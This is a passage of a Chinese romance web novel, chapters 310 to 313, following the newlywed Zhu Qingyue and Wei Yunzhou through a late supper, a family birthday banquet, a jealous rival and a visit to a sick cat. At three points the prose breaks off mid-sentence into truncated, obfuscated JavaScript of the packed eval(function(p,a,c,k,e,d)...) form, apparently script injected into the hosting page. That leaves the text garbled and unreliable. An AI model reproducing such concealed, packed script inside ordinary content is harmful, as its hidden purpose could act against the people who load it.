祝卿月和魏云舟一起上了台阶,到电梯门口,魏云舟突然问:“你今晚在他家吃的?” “嗯。”祝卿月点了点头,“你吃过了吗?” “没有。”魏云舟实话实说。 “还没吃饭?”祝卿月拦住他,“怎么不吃饭啊?我让阿姨给你煮点宵夜?” 魏云舟眼睁睁看着电梯门又合上,问:“你吃吗?” “我不——”祝卿月在他几不可察的皱眉中改了口,“吃,陪你吃点吧。” 魏云舟表情缓和,让阿姨去做了宵夜——小馄饨。 祝卿月:“……现在做小馄饨,会不会太费时间了?” “没事,阿姨忙得很快。”魏云舟说。 他正好也有一些事要问,两人转头去了客厅。 魏云舟开了电视,照例是孟竞帆拿奖的电影,上次还没看完,剩一点结尾。 魏云舟不发一言,祝卿月又想起吃饭前的那通电话。 “你是不是生气了?”祝卿月没忍住问了句。 挺好,还知道他生气,魏云舟脸色更和缓了,反问:“为什么会觉得我生气了?” “因为你晚上还没等我说话就挂电话了。”祝卿月眨巴着大眼睛。 “哦,当时阿姨叫我吃饭,我怕她久等了。”魏云舟不经意瞥了她一眼。 “呃……”祝卿月的余光瞥向厨房,“你不是说你没吃晚饭吗?” “我确实没吃,接了个电话,处理了些工作。”魏云舟说,“你一个晚上都在他家?” 问的简直是废话,她被宋潭送回家,他不是看见了吗? “嗯。”祝卿月点了点头,“把小猫给他养了,他还给小猫取了名字,叫月亮。” 月亮?祝卿月的名字里就有月字,宋潭是什么意思? 魏云舟轻嗤:“你俩关系还挺好。” 他大嫂不是说前任就该和**一样吗? “一直都挺好的,他是我妈妈资助的学生。”祝卿月没感觉到魏云舟的阴阳怪气,“还有丁怡,咱们三个关系一向不错。” 魏云舟又问:“丁怡?她今晚也在吗?” 祝卿月点点头:“在啊,我想吃辣菜,宋潭给我做,一个人忙不过来,就把丁怡叫过来帮忙了,还有那么多猫猫狗狗的饭也得做呢。” 喜欢吃辣的?魏云舟说:“喜欢吃什么都可以叫厨房做。” 祝卿月摇摇头:“家里又不是就我一个人。” “这有什么,做两份就是,你以后想吃什么直接跟管家说,省得岳母知道以为我**你。” 至于跑前男友家去解馋? 阿姨的清汤馄饨很快做好了,夜宵嘛,份量不大。 祝卿月那份六颗,魏云舟的比她多两颗。 不得不说,阿姨太体贴了,她连吃带喝,早就饱了,六颗勉勉强强能填进肚子。 两人转战餐厅,面对面而坐。 不说话也很怪异,祝卿月给魏云舟说了很多晚上在宋潭家的趣事。 “等到秋天,咱们也去他院子里烧烤吧?” “还用去他那院子?去一趟雁清你就知道什么才叫院子。”魏云舟语气有点傲娇。 “雁清很好玩吗?”祝卿月对雁清实在好奇,能让魏云舟念念不忘。 “我小时候就在雁清长大的,有别于大都市,那里清秀淳朴,但没什么好玩的,上了年纪的人可能会喜欢。” 提到雁清,魏云舟不自觉就说多了。 祝卿月笑道:“你这么说,我对雁清越来越好奇了。” 虽然离得近,但她从来没有去过。 “我爸妈已经见了你大伯,等九月天气不太热的时候,带着你妈妈过去住一段时间。” “我大伯同意了?”祝卿月问。 魏云舟:“同意了。” “奇怪。”祝卿月嘀咕了声,“怎么没跟我说啊?” 她拿出手机下意识要给谢莹打电话,看到时间又放弃了:“还是明天打吧,现在太晚了。” 馄饨吃完,魏云舟说:“上楼睡觉去吧。” 楼上有两个浴室,两人分开去洗澡。 祝卿月今天跟猫猫狗狗接触,顺道洗了头发,出来的时候,魏云舟靠在床头看书。 抬眸间,魏云舟蹙眉:“怎么这么晚洗头?” 祝卿月说:“接触了猫狗,你先睡吧,我可能会很迟,还要护肤。” 魏云舟没吱声,祝卿月拿了手机后,转头去了化妆间。 魏云舟刚要睡觉,莫名想起来魏川以前在他们面前秀恩爱—— “你妈那会儿的头长又厚又长,我跪在地上吹了四十分钟,她睡着了,我生怕吵醒她,开的小档位。” “从此以后,只要我在,她的头发就没自己吹过。” “要不是她不让,我都可以帮着洗。” 魏云舟合上书,状似思考:“所以,结婚后,丈夫要帮妻子吹头发?” 他侧眸看了眼时间,明天在度假山庄有个商务宴会。 犹豫了不到半分钟,魏云舟掀开被子下了床。 祝卿月的护肤完成,刚打开吹风机,镜子里出现一个人影,吓得她一个哆嗦:“你过来怎么也不制造点动静?” 魏云舟朝她伸手:“吹风机给我。” “干嘛?”祝卿月一脸懵,“你又没洗头。” 魏云舟:“……给我。” 事实上他洗了,只不过干得快。 祝卿月将吹风机递了过去,心里暗自骂了他一声。 魏云舟解开她的干发帽,对着她后脑勺径自打开热风给她吹头发。 祝卿月愣怔:“你给我吹啊?” “不然呢?”魏云舟按住她的头,示意她面对镜子,随后笨拙地拨动她的长发。 祝卿月心虚了,她刚刚还骂了人家。 这到底是个什么样的人?祝卿月盯着镜子里一脸认真,仿佛在做什么大事一样的魏云舟。 平日里表情很冷漠,但事事有回应。 这才几天啊,竟然已经给她吹头发了,在祝卿月看来,这个行为很亲密,有感情的人才会愿意这样做吧? 魏云舟这个举动,祝卿月属实看不懂了。 在家人面前可以稍微演一下,可这是在家里,三楼没有魏云舟的允许,没人敢上来。 私底下也要这样吗?好敬业! 镜子里的魏云舟身材修长,比例十分好看,他垂着眼,顺着头发的样子显得很小,像大学生。 祝卿月不禁想,要是大学的时候,她和魏云舟一个学校,她会注意到他吗? 长这么帅,可能很难不注意到。 “你大学国外读的吗?祝卿月突然问。 “高中就出去了。”魏云舟稍稍提高音量,“你呢?” “也在国外读的,学的摄影。”祝卿月略带试探。 魏云舟说:“我知道,只是你后来怎么没做摄影师?” 祝卿月说:“家里人不让。” 两人毕竟还不熟,有些事情,祝卿月没有全盘托出。 魏云舟动作一顿,说:“想要什么,让管家去置办。” “我可以玩相机?”祝卿月问。 “你很奇怪,总是问我一些这样明知道答案的问题。”魏云舟关掉吹风机,“魏家不是祝家,我不太理解你家里人的脑回路,这有什么不能玩的?” “前两年摄影圈发生了一件丑闻,牵扯了很多名利场的人。”祝卿月说,“这件事,你哥哥应该知道,我当时也在现场,警察都来了,我是误入,当晚就从警察局出来了。” 不知道冲的哪门子的动,也可能是他给她吹头发的这片刻温情,祝卿月还是说了。 “什么丑闻?”魏云舟问。 “很多男男女女,还不是夫妻,你说呢?” 魏云舟突然有点倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我自作多情。”魏云舟闭着眼睛说,“赶紧睡觉。” “哦。”祝卿月应一声,“你明天参加的什么宴会?” “商务宴会。”魏云舟和她有问有答。 商务宴会不好带家人,祝卿月没再追问。 翌日一早,她开车回了祝家,进门就问谢莹:“妈,我以前那些摄影设备你给我放哪儿了?” “你要这个干什么?”谢莹心惊肉跳的。 当初那件丑闻牵扯良多,进局子的进局子,出国的出国,她庆幸祝卿月没有被卷进去,不然她也不用活了。 “当然要用啊。”祝卿月说,“以后我就用自个儿的名字拍摄。” “你别是烧糊涂了,事情好不容易过去,你又把这些东西翻出来干什么?”谢莹气不打一处来。 “魏云舟让我拿的,您也不给啊?”祝卿月笑道,心情十分愉快。 “你跟云舟说了?”谢莹差点一口气没提上来。 “是啊。” “你是真不怕他跟你离婚啊?” 祝卿月一噎:“离就离。” “你舍得?” “我怎么舍不得了?这才几天啊,我就离不开他了?妈,你会不会太夸张了。” 谢莹:“……要不去照照镜子看看你的嘴角。” 祝卿月:“……我就是开心可以拿到我的设备。” 谢莹说:“你现在相信我的眼光了吧?” “信信信。”祝卿月忙不迭点头,“我那些相机镜头都被你藏哪儿了?我知道你不可能扔的,赶紧给我。” “在我房间的隔间,自己去拿。”谢莹说完,在心里感叹了声魏云舟的好。 要是他俩有了感情,那就再好不过了。 祝卿月刚要立刻,忽然被谢莹拉住了胳膊:“我问你件事儿。” 这件事在她心里好几天了,她一直想问来着,没找到合适的机会。 现在祝卿月看到魏云舟好的一面,说不定乐意了。 “什么事啊?” “你跟云舟已经领证了,你俩晚上睡一张床吗?” “是啊。” “那你俩……那什么了吗?” 祝卿月脸色爆红:“妈!” “妈什么妈,抓紧知道吗?好男人就得牢牢抓在手里,你把云舟拿住了,好日子还在后头。” “不跟你说了,我先走了。” “害什么羞,迟早的事,结婚了还别扭个什么劲?” 祝卿月落荒而逃。 第311章 先婚后爱(8) 让亲妈操心床上的事,祝卿月觉得自己老脸也丢到家了。 她拿到自己的设备后,全都运到了丹枫公馆。 她回去的时候,魏云舟还没回来,也不知道他几点结束。 祝卿月打开电脑,将自己以前的作品重新整理。 她以前是文化艺术摄影师,拍摄作品经常免费授权给文旅部门、文化馆以及非遗保护中心官方进行宣传。 这类摄影师,一般都在各类艺术展、非遗传承和传统文化活动现场出现。 所以得知魏云舟的母亲和大嫂是黄杨木雕的继承人,她十分感兴趣,将她们出现在网络中的作品全都看完了。 要是有一天能够拍到,那也很荣幸了。 九月去雁清,就将她这些**短炮带着。 魏云舟回来的时候,祝卿月还在欣赏她以前拍的照片和视频。 “看什么呢?” 祝卿月一骨碌爬坐起来:“你回来了?” 魏云舟眼睛微微眯着,神态有些懒散,他走过去在床边坐下,酒气弥散。 味道不难闻,应该只喝了些红酒。 见她鼻子轻微地嗅了下,魏云舟垂眸也闻了下自己:“是不是很难闻?” “红酒有什么难闻的。”祝卿月下意识往后坐了下,他离得近。 魏云舟下巴微抬,眼神落在她笔记本上:“你拍的?” 祝卿月点了点头:“看看?” “嗯。”魏云舟稍稍往上坐了些,两人靠得更近了。 祝卿月生怕他误会自己嫌弃他的酒味,愣是没敢动。 看了几张,魏云舟说:“你搞文化艺术的摄影?” “嗯。”祝卿月点点头,“这是我在大理的时候拍的阿婆的扎染布技术。” 照片上,靛蓝的扎染布在竹架上舒展,第一张照片是用广角镜头拍的。 “当时的画面很漂亮,阿婆坐在院子里,阳光从树的缝隙穿过,在染缸上落下一层细碎的光斑 “你看这层浮沫,是板蓝根发酵到第三天的样子,阿婆说要等浮沫变成银灰色,染出来的布才会像玉一样有光泽。” 涉及自己的专业姿势,祝卿月侃侃而谈。 “还有吗?”魏云舟勾了勾唇。 见他感兴趣,祝卿月眼眸一亮:“你看,这是省文化馆的非遗技艺展,当时可是人家邀请我去的。” “那还挺厉害,怪不得你对木雕也有了解。”魏云舟说。 祝卿月一愣:“谁告诉你我对木雕有了解了?” 魏云舟说:“管家,你第一天搬过来的时候,玄关的大象你知道是什么雕刻手法。” “我还真没拍过木雕这类非遗。”祝卿月侧眸,“我知道只是因为我提前了解了。” 魏云舟顿了下,突然问:“你当初只见了我两面,怎么就同意嫁给我了?” “呵呵……”祝卿月心虚,“你长这么帅,我很难不同意吧?” 明知道她说的是假的,魏云舟就是莫名其妙被哄得心花怒放。 他不禁怀疑自己是不是有毛病,每天想要夸他的人一大把,他就因为祝卿月这句假话发癔症。 “继续看吧,看看你以前都去了哪些地方。” “好。” 祝卿月继续带着他看,下一张是她在皖南拍摄的戏曲后台的一位老师在卸装备。 “我当时看完了表演,戏台挺简陋的,给一群老年人唱戏,后来我给台下的观众也拍了照片。” 那些笑颜幸福又满足。 魏云舟往后翻了翻,确实还有台上台下的照片,说:“感觉后台的照片比在台上还要动人。” “后台的老师是真实的,带着疲惫的,上台又是完全不一样的,她自称普通的老艺人。” “后面呢?还拍了什么?” “很多美术馆的照片,还有竹雕和云锦……” 半夜的卧室,你一言我一语,时间悄悄溜过凌晨,魏云舟才恍然去了浴室洗漱。 睡觉之前,他跟祝卿月说了他奶奶过生日的事。 那块布料已经被谢莹打包好送了过来。 楚茵这次是整岁生日,大办的,要来不少亲朋和合作伙伴。 魏家包下了z市最好的酒店举办楚茵的生日。 翌日一早,管家送了一堆礼服供她挑选,祝卿月没过多纠结,挑选了一款淡黄色抹胸缎面礼服,魏云舟挑选了一套灰色西装。 这是祝卿月和魏云舟结婚后第一次正式露面的场合,说实话,她有点小紧张。 以前祝家也有一些宴会,但是她很少参加,她大伯也怕她和祝雨欣在宴会上吵架丢脸,也就睁一只眼闭一只眼。 楚茵生日的当天早上,两人直接回了老宅。 十来点,别墅里已经热闹非凡,都是魏家非常亲近的好友,对祝卿月都很友好。 魏川姐弟四人拖家带口,别墅的天花板都快掀翻了,但看着热闹,楚茵心里也高兴。 宴会是晚上开始,一家人白天聚在一起谈天说地,享受天伦,时间不知不觉就这么过去了。 祝卿月送的礼物很投楚茵的胃口,而祝卿月望着镜子里刚戴上的成套珠宝都有些发愣。 楚茵是真大方,随手一送就是半个亿。 祝卿月好歹在祝家长大,也有一些珠宝名包傍身,不过和楚茵送给她的比不了。 魏云舟的身影出现在镜子里,她下意识摸上项链,说:“这个太贵重了。” “给你就拿着,奶奶出手一向阔绰,谁都没有亏待过,你要是不收,她以为你嫌弃。” 祝卿月:“……” 半个亿的东西,她还嫌弃? 门口传来偷笑,魏云舟侧眸一瞧,笑笑一脸姨母笑地看着他和祝卿月。 小姑娘长大了,脑子里都是稀奇古怪的想法。 怕她胡说,魏云舟上前,一把盖住她的脸,随后关上了衣帽间的门。 “懂不懂礼貌?”魏云舟在小表妹的头上敲了下,“偷看什么呢?” “嘿嘿,看你俩好配呗,二哥,你喜欢月月姐姐吗?” 魏云舟无语:“……叫表嫂。” “小鱼姐姐我都没叫表嫂,你不觉得这个称呼会把人叫老吗?”笑笑人小鬼大,“我妈让我问问你,你是不是喜欢月月姐姐才跟她结婚的。” “你知道什么是喜欢?喜欢值几个钱?喜欢能让你多长块肉?”魏云舟持续输出,“赶紧下楼去。” 马上就得出发去酒店,这小孩衣服还没换。 主家肯定要比宾客早到,祝卿月和上了车后,缓缓做了个深呼吸。 家里人面前可以稍稍放松,外人面前就得提高警惕,省得丢脸,到时候丢的可不止她自己的脸。 “不用紧张,也不是什么人都能来参加这个宴会的。” “我这是跟你第一次出入这种场合。” “以后还有很多,要习惯。” 魏云舟大概也能看出她的性格是不爱参加这类宴会的,但有些宴会是推拒不掉的,他也不会给祝卿月说:“你想不去就不去。” “知道了。” 到了酒店,祝卿月反倒是不紧张了,孟棠挽着楚茵的手,一路说说笑笑进了宴会厅。 没一会儿陆陆续续进客人,全都和和气气恭喜了两句,有人还抓着魏云舟的胳膊问: “什么时候能喝小魏总的喜酒啊?” 这时候,魏云舟会朝她看一下,回答:“看她吧。” 又得到了一阵“取笑”。 婚礼的事情,祝卿月和魏云舟都不太急,两人没有深刻聊过这个话题。 但婚礼需要双方宣誓,关于誓言,她觉得很神圣,不能轻易出口,除非她和魏云舟真情实感。 一番应酬后,祝卿月明显乏累,魏云舟让笑笑带着她去房间休息。 这会儿大家完全是放松的姿态,三五成群聊作一团,她这才和笑笑回房。 上楼一瞧,兄弟姐妹们也都从宴会上逃了,几个人坐在一起玩游戏呢。 祝卿月觉得有意思,站在身后看了好一会儿。 有人问她玩不玩,祝卿月摇了摇头。 回到房间,她脱下高跟鞋揉了揉小腿,毫无形象地往床上一躺。 她听管家说,魏云舟一天到头在家吃不了几顿,自从结婚后,在家的次数明显增多。 她知道魏云舟很忙,处理完公司的事,必然还有和客户的应酬,各种会议和出差。 但新婚头一个月,他看着不是那么忙,估计是体谅两人新婚。 这样的男人太过完美,让祝卿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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祝卿月笑不出来了,脖子下意识往前伸。 “你们真的很奇怪,为什么总是盯着这个问题?礼貌吗?”魏云舟转头就要走。 “等一下。”黎梦拦住他,“行行行,我不问了,我关心一下也不成?” “关心关心自己吧。” 能够来楚茵生日宴的都不太好得罪,魏云舟纯靠修养忍着。 黎梦呵笑:“咱们几个好久没聚了,抽空聚一下?把你老婆带着?” “不去。”魏云舟直接拒绝,“没空。” “你老婆是天仙啊,还不让人家见人了,要不我约她出去玩?” 祝卿月:“……” 我谢谢您嘞。 “她有朋友。” 祝卿月os:干得漂亮。 “魏云舟,咱俩好歹从小就认识吧?你为什么一直都对我这个冷淡的样子?” 魏云舟更疑惑了:“我对你们不都一样吗?” 他有偏心过谁吗? “你——”黎梦快要气**,“可你明明对祝卿月就不一样。” “……她是我妻子。”魏云舟加重语气,“你为什么要跟她比?” “妻子?”黎梦笑了声,“也就是说,不管你跟谁结婚,只要这个人是你的妻子,你都会对她不一样喽?” 魏云舟突然不说话了,祝卿月的脚有点疼。 也有可能是不敢听他的答案,转头拉着笑笑想要离开。 笑笑不肯走,压着声道:“你听听呗,电视剧上的误会不都是这么来的吗?” 祝卿月:“……” 可都快两分钟了,魏云舟还是没有回答。 他好像在思考这个问题到底该怎么回答。 “算了,走吧。”祝卿月挥了挥手,“我脚疼了。” “行。”笑笑比较相信魏云舟,“待会儿你再问他。” 祝卿月有点急,高跟鞋踩歪,尖叫一声,一把抓住了笑笑的胳膊。 “谁啊?”黎梦蹙眉呵斥。 我去,好痛啊,祝卿月龇牙咧嘴。 魏云舟眸光微变,身体一转走了出去。 第312章 先婚后爱(9) 连接大路的通道上,祝卿月半弯着腰,撩起裙摆查看脚踝。 天黑,离得又远,魏云舟看不清楚。 “怎么了?”魏云舟上前询问。 偷听被发现,再没有比这更尴尬的事了。 “呃……没事。”祝卿月装傻。 “崴到了?”魏云舟单膝跪地,要去看她的脚踝,“找我不能打个电话吗?” 祝卿月下意识扶住魏云舟的肩膀,小声道:“我就跟笑笑出来走走。” “没错。”笑笑跟着附和,“房间里很闷,哪知道你们在这里,我跟小表嫂又不好上前打扰,刚要离开的时候崴到了脚。” 脚踝没肿,应该就是扭到了,魏云舟抬眸:“你去叫许老,让他给你表嫂正一下。” “好,我现在就去。” 祝卿月没怎么关心自己的脚,她抬眸,和黎梦对上视线。 “祝小姐,你好。”黎梦先发制人。 祝卿月浅笑:“黎小姐,晚上好。” 魏云舟一门心思都在祝卿月的脚上,没听到黎梦不礼貌的称呼。 他脱下祝卿月的高跟鞋勾在指间,说:“我抱你回去。” 祝卿月纤细的手臂环住魏云舟的脖颈,下一秒直接腾空,她默默收紧了手臂。 温热的呼吸喷洒在他的侧脸,魏云舟身躯僵硬,脚下却没停。 黎梦跟在后头静静地看着,从祝卿月出现的那一刻,魏云舟就不是魏云舟了。 他的关心毫不掩藏,是对祝卿月这个人还是只针对她妻子这个身份呢? 可他的妻子就是祝卿月,黎梦发现自己的想法像个笑话。 祝卿月的余光紧锁身后的黎梦,她也搞不明白了,喜欢为什么在魏云舟结婚之前不说? 一定要在他结婚后再纠缠上来吗? 许老是医生改行的,现在在医疗行业风生水起,他给祝卿月看了下,一手握脚,一手握腿,一拉一拽不到一秒就起了身:“现在走看看疼不疼了。” 祝卿月的大眼珠子怔住:“好了?” 魏云舟扶她起身:“走看看。” 祝卿月半信半疑地站起来,走两步之后欣然回眸:“真不疼了,好厉害。” 魏云舟轻笑,随后朝许老颔首:“今晚多亏了您。” “客气什么,举手之劳。” 魏云舟揽过祝卿月的腰,示意她道声谢。 祝卿月微微鞠躬,被许老抬手阻止:“你们两口子是真有意思。” 魏云舟说:“应该的。” 宴会接近尾声,魏云舟被他姑姑叫了去。 宴会厅的某个角落里,只剩下祝卿月和黎梦。 “祝小姐,你跟——” “我结婚了,黎小姐。”祝卿月打断她,“你这个称呼,似乎不太合适。” 黎梦一愣,显然没想到祝卿月直接揭穿她的小心思。 尴尬和心虚也只是一瞬,黎梦很快稳住自己,朝祝卿月假笑: “不好意思,我总是忘记云舟结婚了。” “没关系,我相信黎小姐现在记住了。”祝卿月唇边沁着笑。 黎梦断定,这个祝卿月不好惹。 “你在魏云舟面前低眉顺眼,在我面前好像不太一样。”黎梦试探地挑眉,头微微歪了下,优越感十足。 祝卿月皮笑肉不笑:“黎小姐毕竟是外人,云舟是我丈夫,我对他和对你,自然是不一样的。” 黎梦冷哼一声,转头就要走。 祝卿月却拦住了她,黎梦不爽地皱眉:“你还要说什么?” “你喜欢魏云舟,以前为什么不说?就算他拒绝了,最起码他知道了。” “而不是等他结婚了,又在这儿顾影自怜,你考虑过我的感受没有?这难道就是黎家的教养吗?” 黎梦的脸瞬间失了血色:“有必要扯到黎家吗?我怎么没教养了?我有说什么吗?” “你是没有说什么,我是怕我再不说,你就要和魏云舟说什么了。不管他真傻还是装傻,他今晚的那些话应该已经很明确了。” “黎小姐,我不知道你父母对于你喜欢魏云舟这件事是什么看法,但我保证,魏云舟对你绝对没有那种想法。” “你凭什么就能断定?”黎梦被戳中心思,又觉得难堪,哄着眼眶质问。 “那要不你现在去问,我给你这个机会。”祝卿月摊开手,“魏云舟什么性格,你应该比我清楚吧?” 她当然知道,黎梦沉默了。 她也只是不死心,一直在坦白的边缘试探而已。 “你现在是不是很得意?” 祝卿月摇摇头:“我只是劝你清醒,省得以后朋友都没得做。” 黎梦似乎被说服了,冷哼一声走了。 能想明白是最好的,祝卿月仰头饮尽香槟,看了眼时间,宴会快结束了。 她静静等了十来分钟,宾客们陆续离开。 楚茵和魏立峰年纪大了,也坐车走了,留魏云舟善后。 魏云舟送客的时候瞥见祝卿月,招来了**,**找到祝卿月后,恭敬道: “太太,小魏总让我先送您回去。” “没事,我等一等。”祝卿月笑道,“一个人先走算怎么回事。” **默默退开了。 魏云舟送完宾客,准备让酒店的车送自己回去,一转头看到了**,他问: “不是让你送祝卿月回家了,你怎么还在这儿?” “太太等您呢。”**示意他回头。 魏云舟回眸,祝卿月裹着披肩,笑眯眯地朝他挥了挥手,好似再说:“我在这儿。” 魏云舟走过去,朝她伸手:“回家了。” 那双手干净修长,祝卿月下意识搭了上去。 魏云舟收拢五指,将她的手包裹其中,祝卿月心慌得很,余光都不敢瞄一眼他。 魏云舟看似不动如山,实则心影幢幢。 可他又不能将祝卿月的手甩开,只能装得若无其事。 **笑眯眯地看着小夫妻牵在一起的手,给两人拉开后车门。 魏云舟没急着上车,问**:“你笑什么呢?” “笑您和太太感情好呗。” 魏云舟和祝卿月对视一眼,烫手似的,同时松开了彼此的手。 “开你的车,几十岁的人整天贫。” **嘿笑一声,觉得自家小魏总是害羞了。 车厢内寂静无声,刚才一瞬间的温情化作了不自在。 这样一路到家得有多尴尬。 祝卿月刚要张口,打算随便找点话题聊,魏云舟突然问:“晚上知道我在假山边,特意找过去的吧?” 祝卿月身体一僵:“你怎么知道?” “就你和笑笑那三脚猫的撒谎技术指望骗谁呢?”魏云舟扭过脸看着她,“说吧,找**什么的?” 祝卿月哭笑不得,他还真以为她有事找他。 “都说了没事。”她也不能把笑笑出卖啊,“真的路过,见你和黎小姐聊天不好打扰,脚扭到也不是故意的。” “你不会误会我和黎梦了吧?”魏云舟突然开了窍似的。 “没误会,我相信你。” “你相信我?”魏云舟喃喃自语,他俩才认识几天啊。 “是啊,其实你俩的对话我都听全了,有什么问题吗?”祝卿月问。 魏云舟摇摇头:“没问题,但她怪我结婚没叫她,既然这样的话,婚礼的事,你要不提上日程?” 不是,他不是装傻啊?他真以为人家黎梦是生气没出成份子钱吗? 老天爷啊,祝卿月抬手抚上额头,这人的钝感力……十足啊。 她要是把婚礼请柬送过去,会被她扔回脸上吧? “呵呵……不急。”祝卿月最终回了这么一句。 魏云舟松了松领带,说:“婚礼迟早要办的,提上日程,准备的时间可以长一点。” 他说这话的语气有些强硬,祝卿月只能点了点头:“知道了。” “你喜欢木雕吗?”魏云舟陡然转了话题。 祝卿月眼神瞟过去:“为什么这么问?” “这次奶奶生日,小鱼姐没能过来,她在参加一档非遗综艺的录制,她之前问我结婚要什么礼物,你看看喜欢什么,去雁清的时候,直接和她交流。” “这个很费时间吧?”祝卿月问。 “一两年时间足够了,就跟做婚服一样,都得一年多的时间。” 一年多的时间,想必不会是小件,祝卿月说:“我不了解木雕。” “没关系,小鱼姐会跟你说。” 祝卿月点了点头:“我是不是也要跟着你叫小鱼姐?不叫大嫂吗?” “随便你,我是小时候习惯使然。”魏云舟说,“我当初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你这是一张天生性冷淡的脸,你信不信我能给你拍成人间暖男?”祝卿月一心想要炫技。 “性冷淡?”魏云舟轻声询问,看似不经意,眼神却极具杀伤力。 祝卿月:“……我说那么长一句话,你就注意到这三个字?” 魏云舟:“……开会抓重点,习惯使然吧。” “……”祝卿月略有些无语。 魏云舟端了咖啡喝,被祝卿月一把拦下:“等下啊,我去拿相机。” “这就开始了?”魏云舟挑眉。 “来呗,让你当一回日常纪实的男主角。” 说完,祝卿月快速拿了相机过来。 镜头盖还没摘呢,她已经下意识用手比了个取景框:“感觉不需要我的技术啊,有这张脸怎么拍都好看。” 魏云舟轻笑,指了指咖啡:“我现在可以喝了?” “喝。” 魏云舟端起咖啡杯,垂眸的一瞬间,快门响起。 “你笑一下呗,拿着牛角包看向我。” 魏云舟一一照做,祝卿月夸道:“你镜头感可以哎。” “咔嚓”一声,快门轻响,魏云舟丝毫没有被打扰,慢条斯理吃完了早餐。 祝卿月还没过瘾,被他用掌心挡住了镜头。 “干嘛?”她从相机后抬头。 “先吃饭。”魏云舟下巴微抬,“凉了不好吃。” 祝卿月应了声:“行,吃完饭我再给你拍。” 魏云舟吃完也没离开,拿过她的相机翻看照片,确实拍得还可以。 “你以前拍人多吗?” “还行,怎么了?”祝卿月两口吃完煎蛋。 “都给谁拍过?”魏云舟问。 “丁怡就拍过,还有我妈,剩下的就是外出拍文化艺术类作品时,顺道拍一下创作者。” 魏云舟放下相机,看着她,问:“没给前男友拍过吗?” “啊?”祝卿月一时有些愣。 魏云舟又重复了一遍问题。 “我没有前男友啊。”祝卿月满脸懵。 “没有?那宋潭是谁?”魏云舟蹙眉,“我就是问问而已,你没必要瞒着。” 第313章 先婚后爱(10) 原来他信了,祝卿月没急着回答,反倒是问:“你既然相信宋潭是我前男友,祝雨欣污蔑我们藕断丝连的时候,你为什么还要帮我?还要跟我结婚?” “前任是过去式,我不在意。”魏云舟说,“至于藕断丝连,我没信。” 当时可能没信,现在未必了,祝卿月挑了挑眉,故意问:“那我前段时间去了宋潭家,你那时信了没有?” “你不是去送猫的?”魏云舟反问。 真会避重就轻,祝卿月失笑:“魏云舟,我是真没想到,你对妻子这么包容,我突然有点好奇,昨天晚上那句你没有回答的话,答案是什么?” “不要转移话题。”魏云舟不上这当,“到底有没有拍过?” “拍过啊。”祝卿月哼笑一声,还不等魏云舟说话,又补充了一句:“但他不是我前男友。” 怎么可能?魏云舟一向敛着的双眸微微睁大:“那他是谁?不是你前男友的话,为什么会被祝雨欣污蔑?” “这个世界不就这样。”祝卿月耸了耸肩,“一男一女只要走在大街上,被造谣是很正常的事。” “宋潭是我妈资助的学生,他知恩图报,我把他当大哥,这些年,我和他,还有丁怡走得近,我们三个人能聊到一起,所以关系比较好,我跟他,就是单纯的朋友。” 魏云舟想起祝卿月大伯家的几个孩子,因为祝雨欣的关系,肯定都不喜欢她。 也难怪她把宋潭当大哥,这种感情对她来说是比较向往的。 这个祝雨欣,是真能造谣。 魏云舟蹙眉:“你这个堂妹,娇纵任性,随心所欲,迟早得闯祸。” “她总说大伯不爱她,其实是被宠坏了,大伯整天忙,确实顾不了家,但他对我妈还挺尊重,只是可惜管不了周若梅。” 周若梅是祝卿月的大伯母,为人高高在上,冷漠狭隘。 祝卿月能不惹她就不惹,不然吃亏的会是谢莹。 “周若梅……”魏云舟小声重复了这个名字,“确实有找茬的本事,我记得她是周家唯一的女儿,上头有三个哥哥。” “嗯。”祝卿月垂眸应了声。 “你怎么了?”不知道是不是魏云舟的错觉,他觉得祝卿月的情绪突然down了下去。 “没有啊。”祝卿月抬起头笑了下,“我吃完了,要不去花园再拍一组?” 魏云舟审视她片刻,点了点头:“要换衣服吗?” 他一脸认真的样子让祝卿月有些想笑,又有些触动,魏云舟不管做什么都很认真。 “不用,我就是练练手。” 夫妻俩在家一个当摄影师,一个当模特,拍得不亦乐乎。 快中午的时候,祝卿月的手机响了起来,是宋潭发来的月亮蔫了吧唧的照片。 看了一会儿,她按住语音键:“怎么会生病啊?” 宋潭回:“你要来看看它吗?” “好,我现在就过去。” 魏云舟走过来,问:“怎么了?猫生病了?” 祝卿月点了点头:“我得去看看。” “我陪你一起吧。”魏云舟说,“反正在家里也是闲着。” “好,我们自己开车吗?”祝卿月问。 “我来开。”魏云舟说,“你先上楼换套衣服吧,我让老江把车开过来。” “好。”祝卿月应一声,拿着相机上了楼。 到宋潭家的时候正是饭点,祝卿月熟门熟路往里闯:“宋潭,月亮怎么了?” “便秘了。”宋潭出来看到魏云舟还愣了下。 这次,魏云舟主动伸出了手:“打扰了。” 宋潭觉得好笑,这人上次不还一副高贵冷艳的模样吗? “好了。”祝卿月拉开他俩还握在一起的手,“它怎么会便秘啊?你这里的猫粮也不单一啊。” 宋潭呵呵一笑:“架不住你的猫不爱动啊,懒得要死。” “呃……”祝卿月一噎,低头抓了抓猫头,“你得动动啊,来,喝点水。” “喂过了,你俩用逗猫棒逗逗它,这样能促进它的肠道蠕动,我去炒菜。” 祝卿月挥了挥手:“去吧。” 魏云舟僵硬了一瞬,蹲下身将逗猫棒给了祝卿月:“你来吧。” “你不喜欢小动物啊?”祝卿月抬眸,“没事,你去客厅坐着吧。” “没有不喜欢。”魏云舟说,“只是觉得它很臭。” 祝卿月:“……好像是有点。” “我一直不养猫狗就是要处理它们的大便,我不喜欢。” 